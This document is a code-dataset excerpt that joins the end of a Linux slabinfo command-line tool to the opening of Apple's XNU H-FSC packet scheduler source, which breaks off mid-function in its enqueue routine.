free(t);
slab->store_user = get_obj("store_user");
slab->trace = get_obj("trace");
slab->alloc_fastpath = get_obj("alloc_fastpath");
slab->alloc_slowpath = get_obj("alloc_slowpath");
slab->free_fastpath = get_obj("free_fastpath");
slab->free_slowpath = get_obj("free_slowpath");
slab->free_frozen= get_obj("free_frozen");
slab->free_add_partial = get_obj("free_add_partial");
slab->free_remove_partial = get_obj("free_remove_partial");
slab->alloc_from_partial = get_obj("alloc_from_partial");
slab->alloc_slab = get_obj("alloc_slab");
slab->alloc_refill = get_obj("alloc_refill");
slab->free_slab = get_obj("free_slab");
slab->cpuslab_flush = get_obj("cpuslab_flush");
slab->deactivate_full = get_obj("deactivate_full");
slab->deactivate_empty = get_obj("deactivate_empty");
slab->deactivate_to_head = get_obj("deactivate_to_head");
slab->deactivate_to_tail = get_obj("deactivate_to_tail");
slab->deactivate_remote_frees = get_obj("deactivate_remote_frees");
slab->order_fallback = get_obj("order_fallback");
slab->cmpxchg_double_cpu_fail = get_obj("cmpxchg_double_cpu_fail");
slab->cmpxchg_double_fail = get_obj("cmpxchg_double_fail");
slab->cpu_partial_alloc = get_obj("cpu_partial_alloc");
slab->cpu_partial_free = get_obj("cpu_partial_free");
slab->alloc_node_mismatch = get_obj("alloc_node_mismatch");
slab->deactivate_bypass = get_obj("deactivate_bypass");
chdir("..");
if (slab->name[0] == ':')
alias_targets++;
slab++;
break;
default :
fatal("Unknown file type %lx\n", de->d_type);
}
}
closedir(dir);
slabs = slab - slabinfo;
actual_slabs = slabs;
aliases = alias - aliasinfo;
if (slabs > MAX_SLABS)
fatal("Too many slabs\n");
if (aliases > MAX_ALIASES)
fatal("Too many aliases\n");
}
static void output_slabs(void)
{
struct slabinfo *slab;
for (slab = slabinfo; slab < slabinfo + slabs; slab++) {
if (slab->alias)
continue;
if (show_numa)
slab_numa(slab, 0);
else if (show_track)
show_tracking(slab);
else if (validate)
slab_validate(slab);
else if (shrink)
slab_shrink(slab);
else if (set_debug)
slab_debug(slab);
else if (show_ops)
ops(slab);
else if (show_slab)
slabcache(slab);
else if (show_report)
report(slab);
}
}
struct option opts[] = {
{ "aliases", 0, NULL, 'a' },
{ "activity", 0, NULL, 'A' },
{ "debug", 2, NULL, 'd' },
{ "display-activity", 0, NULL, 'D' },
{ "empty", 0, NULL, 'e' },
{ "first-alias", 0, NULL, 'f' },
{ "help", 0, NULL, 'h' },
{ "inverted", 0, NULL, 'i'},
{ "numa", 0, NULL, 'n' },
{ "ops", 0, NULL, 'o' },
{ "report", 0, NULL, 'r' },
{ "shrink", 0, NULL, 's' },
{ "slabs", 0, NULL, 'l' },
{ "track", 0, NULL, 't'},
{ "validate", 0, NULL, 'v' },
{ "zero", 0, NULL, 'z' },
{ "1ref", 0, NULL, '1'},
{ NULL, 0, NULL, 0 }
};
int main(int argc, char *argv[])
{
int c;
int err;
char *pattern_source;
page_size = getpagesize();
while ((c = getopt_long(argc, argv, "aAd::Defhil1noprstvzTS",
opts, NULL)) != -1)
switch (c) {
case '1':
show_single_ref = 1;
break;
case 'a':
show_alias = 1;
break;
case 'A':
sort_active = 1;
break;
case 'd':
set_debug = 1;
if (!debug_opt_scan(optarg))
fatal("Invalid debug option '%s'\n", optarg);
break;
case 'D':
show_activity = 1;
break;
case 'e':
show_empty = 1;
break;
case 'f':
show_first_alias = 1;
break;
case 'h':
usage();
return 0;
case 'i':
show_inverted = 1;
break;
case 'n':
show_numa = 1;
break;
case 'o':
show_ops = 1;
break;
case 'r':
show_report = 1;
break;
case 's':
shrink = 1;
break;
case 'l':
show_slab = 1;
break;
case 't':
show_track = 1;
break;
case 'v':
validate = 1;
break;
case 'z':
skip_zero = 0;
break;
case 'T':
show_totals = 1;
break;
case 'S':
sort_size = 1;
break;
default:
fatal("%s: Invalid option '%c'\n", argv[0], optopt);
}
if (!show_slab && !show_alias && !show_track && !show_report
&& !validate && !shrink && !set_debug && !show_ops)
show_slab = 1;
if (argc > optind)
pattern_source = argv[optind];
else
pattern_source = ".*";
err = regcomp(&pattern, pattern_source, REG_ICASE|REG_NOSUB);
if (err)
fatal("%s: Invalid pattern '%s' code %d\n",
argv[0], pattern_source, err);
read_slab_dir();
if (show_alias)
alias();
else
if (show_totals)
totals();
else {
link_slabs();
rename_slabs();
sort_slabs();
output_slabs();
}
return 0;
}
|
the_stack_data/239966.c | /*
* Copyright (c) 2007-2013 Apple Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/* $OpenBSD: altq_hfsc.c,v 1.25 2007/09/13 20:40:02 chl Exp $ */
/* $KAME: altq_hfsc.c,v 1.17 2002/11/29 07:48:33 kjc Exp $ */
/*
* Copyright (c) 1997-1999 Carnegie Mellon University. All Rights Reserved.
*
* Permission to use, copy, modify, and distribute this software and
* its documentation is hereby granted (including for commercial or
* for-profit use), provided that both the copyright notice and this
* permission notice appear in all copies of the software, derivative
* works, or modified versions, and any portions thereof.
*
* THIS SOFTWARE IS EXPERIMENTAL AND IS KNOWN TO HAVE BUGS, SOME OF
* WHICH MAY HAVE SERIOUS CONSEQUENCES. CARNEGIE MELLON PROVIDES THIS
* SOFTWARE IN ITS ``AS IS'' CONDITION, AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
* Carnegie Mellon encourages (but does not require) users of this
* software to return any improvements or extensions that they make,
* and to grant Carnegie Mellon the rights to redistribute these
* changes without encumbrance.
*/
/*
* H-FSC is described in Proceedings of SIGCOMM'97,
* "A Hierarchical Fair Service Curve Algorithm for Link-Sharing,
* Real-Time and Priority Service"
* by Ion Stoica, Hui Zhang, and T. S. Eugene Ng.
*
* Oleg Cherevko <[email protected]> added the upperlimit for link-sharing.
* when a class has an upperlimit, the fit-time is computed from the
* upperlimit service curve. the link-sharing scheduler does not schedule
* a class whose fit-time exceeds the current time.
*/
#if PKTSCHED_HFSC
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/systm.h>
#include <sys/errno.h>
#include <sys/kernel.h>
#include <sys/syslog.h>
#include <kern/zalloc.h>
#include <net/if.h>
#include <net/net_osdep.h>
#include <net/pktsched/pktsched_hfsc.h>
#include <netinet/in.h>
/*
* function prototypes
*/
#if 0
static int hfsc_enqueue_ifclassq(struct ifclassq *, struct mbuf *);
static struct mbuf *hfsc_dequeue_ifclassq(struct ifclassq *, cqdq_op_t);
static int hfsc_request_ifclassq(struct ifclassq *, cqrq_t, void *);
#endif
static int hfsc_addq(struct hfsc_class *, struct mbuf *, struct pf_mtag *);
static struct mbuf *hfsc_getq(struct hfsc_class *);
static struct mbuf *hfsc_pollq(struct hfsc_class *);
static void hfsc_purgeq(struct hfsc_if *, struct hfsc_class *, u_int32_t,
u_int32_t *, u_int32_t *);
static void hfsc_print_sc(struct hfsc_if *, u_int32_t, u_int64_t,
struct service_curve *, struct internal_sc *, const char *);
static void hfsc_updateq_linkrate(struct hfsc_if *, struct hfsc_class *);
static void hfsc_updateq(struct hfsc_if *, struct hfsc_class *, cqev_t);
static int hfsc_clear_interface(struct hfsc_if *);
static struct hfsc_class *hfsc_class_create(struct hfsc_if *,
struct service_curve *, struct service_curve *, struct service_curve *,
struct hfsc_class *, u_int32_t, int, u_int32_t);
static int hfsc_class_destroy(struct hfsc_if *, struct hfsc_class *);
static int hfsc_destroy_locked(struct hfsc_if *);
static struct hfsc_class *hfsc_nextclass(struct hfsc_class *);
static struct hfsc_class *hfsc_clh_to_clp(struct hfsc_if *, u_int32_t);
static const char *hfsc_style(struct hfsc_if *);
static void set_active(struct hfsc_class *, u_int32_t);
static void set_passive(struct hfsc_class *);
static void init_ed(struct hfsc_class *, u_int32_t);
static void update_ed(struct hfsc_class *, u_int32_t);
static void update_d(struct hfsc_class *, u_int32_t);
static void init_vf(struct hfsc_class *, u_int32_t);
static void update_vf(struct hfsc_class *, u_int32_t, u_int64_t);
static void update_cfmin(struct hfsc_class *);
static void ellist_insert(struct hfsc_class *);
static void ellist_remove(struct hfsc_class *);
static void ellist_update(struct hfsc_class *);
static struct hfsc_class *ellist_get_mindl(ellist_t *, u_int64_t);
static void actlist_insert(struct hfsc_class *);
static void actlist_remove(struct hfsc_class *);
static void actlist_update(struct hfsc_class *);
static struct hfsc_class *actlist_firstfit(struct hfsc_class *, u_int64_t);
static inline u_int64_t seg_x2y(u_int64_t, u_int64_t);
static inline u_int64_t seg_y2x(u_int64_t, u_int64_t);
static inline u_int64_t m2sm(u_int64_t);
static inline u_int64_t m2ism(u_int64_t);
static inline u_int64_t d2dx(u_int64_t);
static u_int64_t sm2m(u_int64_t);
static u_int64_t dx2d(u_int64_t);
static boolean_t sc2isc(struct hfsc_class *, struct service_curve *,
struct internal_sc *, u_int64_t);
static void rtsc_init(struct runtime_sc *, struct internal_sc *,
u_int64_t, u_int64_t);
static u_int64_t rtsc_y2x(struct runtime_sc *, u_int64_t);
static u_int64_t rtsc_x2y(struct runtime_sc *, u_int64_t);
static void rtsc_min(struct runtime_sc *, struct internal_sc *,
u_int64_t, u_int64_t);
#define HFSC_ZONE_MAX 32 /* maximum elements in zone */
#define HFSC_ZONE_NAME "pktsched_hfsc" /* zone name */
static unsigned int hfsc_size; /* size of zone element */
static struct zone *hfsc_zone; /* zone for hfsc_if */
#define HFSC_CL_ZONE_MAX 32 /* maximum elements in zone */
#define HFSC_CL_ZONE_NAME "pktsched_hfsc_cl" /* zone name */
static unsigned int hfsc_cl_size; /* size of zone element */
static struct zone *hfsc_cl_zone; /* zone for hfsc_class */
/*
* macros
*/
#define HFSC_IS_A_PARENT_CLASS(cl) ((cl)->cl_children != NULL)
#define HT_INFINITY 0xffffffffffffffffLL /* infinite time value */
void
hfsc_init(void)
{
hfsc_size = sizeof (struct hfsc_if);
hfsc_zone = zinit(hfsc_size, HFSC_ZONE_MAX * hfsc_size,
0, HFSC_ZONE_NAME);
if (hfsc_zone == NULL) {
panic("%s: failed allocating %s", __func__, HFSC_ZONE_NAME);
/* NOTREACHED */
}
zone_change(hfsc_zone, Z_EXPAND, TRUE);
zone_change(hfsc_zone, Z_CALLERACCT, TRUE);
hfsc_cl_size = sizeof (struct hfsc_class);
hfsc_cl_zone = zinit(hfsc_cl_size, HFSC_CL_ZONE_MAX * hfsc_cl_size,
0, HFSC_CL_ZONE_NAME);
if (hfsc_cl_zone == NULL) {
panic("%s: failed allocating %s", __func__, HFSC_CL_ZONE_NAME);
/* NOTREACHED */
}
zone_change(hfsc_cl_zone, Z_EXPAND, TRUE);
zone_change(hfsc_cl_zone, Z_CALLERACCT, TRUE);
}
struct hfsc_if *
hfsc_alloc(struct ifnet *ifp, int how, boolean_t altq)
{
struct hfsc_if *hif;
hif = (how == M_WAITOK) ? zalloc(hfsc_zone) : zalloc_noblock(hfsc_zone);
if (hif == NULL)
return (NULL);
bzero(hif, hfsc_size);
TAILQ_INIT(&hif->hif_eligible);
hif->hif_ifq = &ifp->if_snd;
if (altq) {
hif->hif_maxclasses = HFSC_MAX_CLASSES;
hif->hif_flags |= HFSCIFF_ALTQ;
} else {
hif->hif_maxclasses = IFCQ_SC_MAX + 1; /* incl. root class */
}
if ((hif->hif_class_tbl = _MALLOC(sizeof (struct hfsc_class *) *
hif->hif_maxclasses, M_DEVBUF, M_WAITOK|M_ZERO)) == NULL) {
log(LOG_ERR, "%s: %s unable to allocate class table array\n",
if_name(ifp), hfsc_style(hif));
goto error;
}
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s scheduler allocated\n",
if_name(ifp), hfsc_style(hif));
}
return (hif);
error:
if (hif->hif_class_tbl != NULL) {
_FREE(hif->hif_class_tbl, M_DEVBUF);
hif->hif_class_tbl = NULL;
}
zfree(hfsc_zone, hif);
return (NULL);
}
int
hfsc_destroy(struct hfsc_if *hif)
{
struct ifclassq *ifq = hif->hif_ifq;
int err;
IFCQ_LOCK(ifq);
err = hfsc_destroy_locked(hif);
IFCQ_UNLOCK(ifq);
return (err);
}
static int
hfsc_destroy_locked(struct hfsc_if *hif)
{
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
(void) hfsc_clear_interface(hif);
(void) hfsc_class_destroy(hif, hif->hif_rootclass);
VERIFY(hif->hif_class_tbl != NULL);
_FREE(hif->hif_class_tbl, M_DEVBUF);
hif->hif_class_tbl = NULL;
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s scheduler destroyed\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif));
}
zfree(hfsc_zone, hif);
return (0);
}
/*
* bring the interface back to the initial state by discarding
* all the filters and classes except the root class.
*/
static int
hfsc_clear_interface(struct hfsc_if *hif)
{
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
/* clear out the classes */
while (hif->hif_rootclass != NULL &&
(cl = hif->hif_rootclass->cl_children) != NULL) {
/*
* remove the first leaf class found in the hierarchy
* then start over
*/
for (; cl != NULL; cl = hfsc_nextclass(cl)) {
if (!HFSC_IS_A_PARENT_CLASS(cl)) {
(void) hfsc_class_destroy(hif, cl);
break;
}
}
}
return (0);
}
/* discard all the queued packets on the interface */
void
hfsc_purge(struct hfsc_if *hif)
{
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
for (cl = hif->hif_rootclass; cl != NULL; cl = hfsc_nextclass(cl)) {
if (!qempty(&cl->cl_q))
hfsc_purgeq(hif, cl, 0, NULL, NULL);
}
#if !PF_ALTQ
/*
* This assertion is safe to be made only when PF_ALTQ is not
* configured; otherwise, IFCQ_LEN represents the sum of the
* packets managed by ifcq_disc and altq_disc instances, which
* is possible when transitioning between the two.
*/
VERIFY(IFCQ_LEN(hif->hif_ifq) == 0);
#endif /* !PF_ALTQ */
}
void
hfsc_event(struct hfsc_if *hif, cqev_t ev)
{
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
for (cl = hif->hif_rootclass; cl != NULL; cl = hfsc_nextclass(cl))
hfsc_updateq(hif, cl, ev);
}
int
hfsc_add_queue(struct hfsc_if *hif, struct service_curve *rtsc,
struct service_curve *lssc, struct service_curve *ulsc,
u_int32_t qlimit, int flags, u_int32_t parent_qid, u_int32_t qid,
struct hfsc_class **clp)
{
struct hfsc_class *cl = NULL, *parent;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
if (parent_qid == HFSC_NULLCLASS_HANDLE && hif->hif_rootclass == NULL)
parent = NULL;
else if ((parent = hfsc_clh_to_clp(hif, parent_qid)) == NULL)
return (EINVAL);
if (hfsc_clh_to_clp(hif, qid) != NULL)
return (EBUSY);
cl = hfsc_class_create(hif, rtsc, lssc, ulsc, parent,
qlimit, flags, qid);
if (cl == NULL)
return (ENOMEM);
if (clp != NULL)
*clp = cl;
return (0);
}
static struct hfsc_class *
hfsc_class_create(struct hfsc_if *hif, struct service_curve *rsc,
struct service_curve *fsc, struct service_curve *usc,
struct hfsc_class *parent, u_int32_t qlimit, int flags, u_int32_t qid)
{
struct ifnet *ifp;
struct ifclassq *ifq;
struct hfsc_class *cl, *p;
u_int64_t eff_rate;
u_int32_t i;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
/* Sanitize flags unless internally configured */
if (hif->hif_flags & HFSCIFF_ALTQ)
flags &= HFCF_USERFLAGS;
if (hif->hif_classes >= hif->hif_maxclasses) {
log(LOG_ERR, "%s: %s out of classes! (max %d)\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif),
hif->hif_maxclasses);
return (NULL);
}
#if !CLASSQ_RED
if (flags & HFCF_RED) {
log(LOG_ERR, "%s: %s RED not available!\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif));
return (NULL);
}
#endif /* !CLASSQ_RED */
#if !CLASSQ_RIO
if (flags & HFCF_RIO) {
log(LOG_ERR, "%s: %s RIO not available!\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif));
return (NULL);
}
#endif /* CLASSQ_RIO */
#if !CLASSQ_BLUE
if (flags & HFCF_BLUE) {
log(LOG_ERR, "%s: %s BLUE not available!\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif));
return (NULL);
}
#endif /* CLASSQ_BLUE */
/* These are mutually exclusive */
if ((flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) &&
(flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) != HFCF_RED &&
(flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) != HFCF_RIO &&
(flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) != HFCF_BLUE &&
(flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) != HFCF_SFB) {
log(LOG_ERR, "%s: %s more than one RED|RIO|BLUE|SFB\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif));
return (NULL);
}
cl = zalloc(hfsc_cl_zone);
if (cl == NULL)
return (NULL);
bzero(cl, hfsc_cl_size);
TAILQ_INIT(&cl->cl_actc);
ifq = hif->hif_ifq;
ifp = HFSCIF_IFP(hif);
if (qlimit == 0 || qlimit > IFCQ_MAXLEN(ifq)) {
qlimit = IFCQ_MAXLEN(ifq);
if (qlimit == 0)
qlimit = DEFAULT_QLIMIT; /* use default */
}
_qinit(&cl->cl_q, Q_DROPTAIL, qlimit);
cl->cl_flags = flags;
if (flags & (HFCF_RED|HFCF_RIO|HFCF_BLUE|HFCF_SFB)) {
#if CLASSQ_RED || CLASSQ_RIO
int pkttime;
#endif /* CLASSQ_RED || CLASSQ_RIO */
u_int64_t m2;
m2 = 0;
if (rsc != NULL && rsc->m2 > m2)
m2 = rsc->m2;
if (fsc != NULL && fsc->m2 > m2)
m2 = fsc->m2;
if (usc != NULL && usc->m2 > m2)
m2 = usc->m2;
cl->cl_qflags = 0;
if (flags & HFCF_ECN) {
if (flags & HFCF_BLUE)
cl->cl_qflags |= BLUEF_ECN;
else if (flags & HFCF_SFB)
cl->cl_qflags |= SFBF_ECN;
else if (flags & HFCF_RED)
cl->cl_qflags |= REDF_ECN;
else if (flags & HFCF_RIO)
cl->cl_qflags |= RIOF_ECN;
}
if (flags & HFCF_FLOWCTL) {
if (flags & HFCF_SFB)
cl->cl_qflags |= SFBF_FLOWCTL;
}
if (flags & HFCF_CLEARDSCP) {
if (flags & HFCF_RIO)
cl->cl_qflags |= RIOF_CLEARDSCP;
}
#if CLASSQ_RED || CLASSQ_RIO
/*
* XXX: RED & RIO should be watching link speed and MTU
* events and recompute pkttime accordingly.
*/
if (m2 < 8)
pkttime = 1000 * 1000 * 1000; /* 1 sec */
else
pkttime = (int64_t)ifp->if_mtu * 1000 * 1000 * 1000 /
(m2 / 8);
/* Test for exclusivity {RED,RIO,BLUE,SFB} was done above */
#if CLASSQ_RED
if (flags & HFCF_RED) {
cl->cl_red = red_alloc(ifp, 0, 0,
qlimit(&cl->cl_q) * 10/100,
qlimit(&cl->cl_q) * 30/100,
cl->cl_qflags, pkttime);
if (cl->cl_red != NULL)
qtype(&cl->cl_q) = Q_RED;
}
#endif /* CLASSQ_RED */
#if CLASSQ_RIO
if (flags & HFCF_RIO) {
cl->cl_rio =
rio_alloc(ifp, 0, NULL, cl->cl_qflags, pkttime);
if (cl->cl_rio != NULL)
qtype(&cl->cl_q) = Q_RIO;
}
#endif /* CLASSQ_RIO */
#endif /* CLASSQ_RED || CLASSQ_RIO */
#if CLASSQ_BLUE
if (flags & HFCF_BLUE) {
cl->cl_blue = blue_alloc(ifp, 0, 0, cl->cl_qflags);
if (cl->cl_blue != NULL)
qtype(&cl->cl_q) = Q_BLUE;
}
#endif /* CLASSQ_BLUE */
if (flags & HFCF_SFB) {
if (!(cl->cl_flags & HFCF_LAZY))
cl->cl_sfb = sfb_alloc(ifp, qid,
qlimit(&cl->cl_q), cl->cl_qflags);
if (cl->cl_sfb != NULL || (cl->cl_flags & HFCF_LAZY))
qtype(&cl->cl_q) = Q_SFB;
}
}
cl->cl_id = hif->hif_classid++;
cl->cl_handle = qid;
cl->cl_hif = hif;
cl->cl_parent = parent;
eff_rate = ifnet_output_linkrate(HFSCIF_IFP(hif));
hif->hif_eff_rate = eff_rate;
if (rsc != NULL && (rsc->m1 != 0 || rsc->m2 != 0) &&
(!(rsc->fl & HFSCF_M1_PCT) || (rsc->m1 > 0 && rsc->m1 <= 100)) &&
(!(rsc->fl & HFSCF_M2_PCT) || (rsc->m2 > 0 && rsc->m2 <= 100))) {
rsc->fl &= HFSCF_USERFLAGS;
cl->cl_flags |= HFCF_RSC;
cl->cl_rsc0 = *rsc;
(void) sc2isc(cl, &cl->cl_rsc0, &cl->cl_rsc, eff_rate);
rtsc_init(&cl->cl_deadline, &cl->cl_rsc, 0, 0);
rtsc_init(&cl->cl_eligible, &cl->cl_rsc, 0, 0);
}
if (fsc != NULL && (fsc->m1 != 0 || fsc->m2 != 0) &&
(!(fsc->fl & HFSCF_M1_PCT) || (fsc->m1 > 0 && fsc->m1 <= 100)) &&
(!(fsc->fl & HFSCF_M2_PCT) || (fsc->m2 > 0 && fsc->m2 <= 100))) {
fsc->fl &= HFSCF_USERFLAGS;
cl->cl_flags |= HFCF_FSC;
cl->cl_fsc0 = *fsc;
(void) sc2isc(cl, &cl->cl_fsc0, &cl->cl_fsc, eff_rate);
rtsc_init(&cl->cl_virtual, &cl->cl_fsc, 0, 0);
}
if (usc != NULL && (usc->m1 != 0 || usc->m2 != 0) &&
(!(usc->fl & HFSCF_M1_PCT) || (usc->m1 > 0 && usc->m1 <= 100)) &&
(!(usc->fl & HFSCF_M2_PCT) || (usc->m2 > 0 && usc->m2 <= 100))) {
usc->fl &= HFSCF_USERFLAGS;
cl->cl_flags |= HFCF_USC;
cl->cl_usc0 = *usc;
(void) sc2isc(cl, &cl->cl_usc0, &cl->cl_usc, eff_rate);
rtsc_init(&cl->cl_ulimit, &cl->cl_usc, 0, 0);
}
/*
* find a free slot in the class table. if the slot matching
* the lower bits of qid is free, use this slot. otherwise,
* use the first free slot.
*/
i = qid % hif->hif_maxclasses;
if (hif->hif_class_tbl[i] == NULL) {
hif->hif_class_tbl[i] = cl;
} else {
for (i = 0; i < hif->hif_maxclasses; i++)
if (hif->hif_class_tbl[i] == NULL) {
hif->hif_class_tbl[i] = cl;
break;
}
if (i == hif->hif_maxclasses) {
goto err_ret;
}
}
hif->hif_classes++;
if (flags & HFCF_DEFAULTCLASS)
hif->hif_defaultclass = cl;
if (parent == NULL) {
/* this is root class */
hif->hif_rootclass = cl;
} else {
/* add this class to the children list of the parent */
if ((p = parent->cl_children) == NULL)
parent->cl_children = cl;
else {
while (p->cl_siblings != NULL)
p = p->cl_siblings;
p->cl_siblings = cl;
}
}
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s created qid=%d pqid=%d qlimit=%d "
"flags=%b\n", if_name(ifp), hfsc_style(hif), cl->cl_handle,
(cl->cl_parent != NULL) ? cl->cl_parent->cl_handle : 0,
qlimit(&cl->cl_q), cl->cl_flags, HFCF_BITS);
if (cl->cl_flags & HFCF_RSC) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
&cl->cl_rsc0, &cl->cl_rsc, "rsc");
}
if (cl->cl_flags & HFCF_FSC) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
&cl->cl_fsc0, &cl->cl_fsc, "fsc");
}
if (cl->cl_flags & HFCF_USC) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
&cl->cl_usc0, &cl->cl_usc, "usc");
}
}
return (cl);
err_ret:
if (cl->cl_qalg.ptr != NULL) {
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
rio_destroy(cl->cl_rio);
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
red_destroy(cl->cl_red);
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
blue_destroy(cl->cl_blue);
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
sfb_destroy(cl->cl_sfb);
cl->cl_qalg.ptr = NULL;
qtype(&cl->cl_q) = Q_DROPTAIL;
qstate(&cl->cl_q) = QS_RUNNING;
}
zfree(hfsc_cl_zone, cl);
return (NULL);
}
int
hfsc_remove_queue(struct hfsc_if *hif, u_int32_t qid)
{
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
if ((cl = hfsc_clh_to_clp(hif, qid)) == NULL)
return (EINVAL);
return (hfsc_class_destroy(hif, cl));
}
static int
hfsc_class_destroy(struct hfsc_if *hif, struct hfsc_class *cl)
{
u_int32_t i;
if (cl == NULL)
return (0);
if (HFSC_IS_A_PARENT_CLASS(cl))
return (EBUSY);
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
if (!qempty(&cl->cl_q))
hfsc_purgeq(hif, cl, 0, NULL, NULL);
if (cl->cl_parent == NULL) {
/* this is root class */
} else {
struct hfsc_class *p = cl->cl_parent->cl_children;
if (p == cl)
cl->cl_parent->cl_children = cl->cl_siblings;
else do {
if (p->cl_siblings == cl) {
p->cl_siblings = cl->cl_siblings;
break;
}
} while ((p = p->cl_siblings) != NULL);
VERIFY(p != NULL);
}
for (i = 0; i < hif->hif_maxclasses; i++)
if (hif->hif_class_tbl[i] == cl) {
hif->hif_class_tbl[i] = NULL;
break;
}
hif->hif_classes--;
if (cl->cl_qalg.ptr != NULL) {
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
rio_destroy(cl->cl_rio);
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
red_destroy(cl->cl_red);
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
blue_destroy(cl->cl_blue);
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
sfb_destroy(cl->cl_sfb);
cl->cl_qalg.ptr = NULL;
qtype(&cl->cl_q) = Q_DROPTAIL;
qstate(&cl->cl_q) = QS_RUNNING;
}
if (cl == hif->hif_rootclass)
hif->hif_rootclass = NULL;
if (cl == hif->hif_defaultclass)
hif->hif_defaultclass = NULL;
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s destroyed qid=%d slot=%d\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif),
cl->cl_handle, cl->cl_id);
}
zfree(hfsc_cl_zone, cl);
return (0);
}
/*
* hfsc_nextclass returns the next class in the tree.
* usage:
* for (cl = hif->hif_rootclass; cl != NULL; cl = hfsc_nextclass(cl))
* do_something;
*/
static struct hfsc_class *
hfsc_nextclass(struct hfsc_class *cl)
{
IFCQ_LOCK_ASSERT_HELD(cl->cl_hif->hif_ifq);
if (cl->cl_children != NULL)
cl = cl->cl_children;
else if (cl->cl_siblings != NULL)
cl = cl->cl_siblings;
else {
while ((cl = cl->cl_parent) != NULL)
if (cl->cl_siblings) {
cl = cl->cl_siblings;
break;
}
}
return (cl);
}
int
hfsc_enqueue(struct hfsc_if *hif, struct hfsc_class *cl, struct mbuf *m,
struct pf_mtag *t)
{
struct ifclassq *ifq = hif->hif_ifq;
u_int32_t len;
int ret;
IFCQ_LOCK_ASSERT_HELD(ifq);
VERIFY(cl == NULL || cl->cl_hif == hif);
if (cl == NULL) {
#if PF_ALTQ
cl = hfsc_clh_to_clp(hif, t->pftag_qid);
#else /* !PF_ALTQ */
cl = hfsc_clh_to_clp(hif, 0);
#endif /* !PF_ALTQ */
if (cl == NULL || HFSC_IS_A_PARENT_CLASS(cl)) {
cl = hif->hif_defaultclass;
if (cl == NULL) {
IFCQ_CONVERT_LOCK(ifq);
m_freem(m);
return (ENOBUFS);
}
}
}
len = m_pktlen(m);
ret = hfsc_addq(cl, m, t);
if (ret != 0) {
if (ret == CLASSQEQ_SUCCESS_FC) {
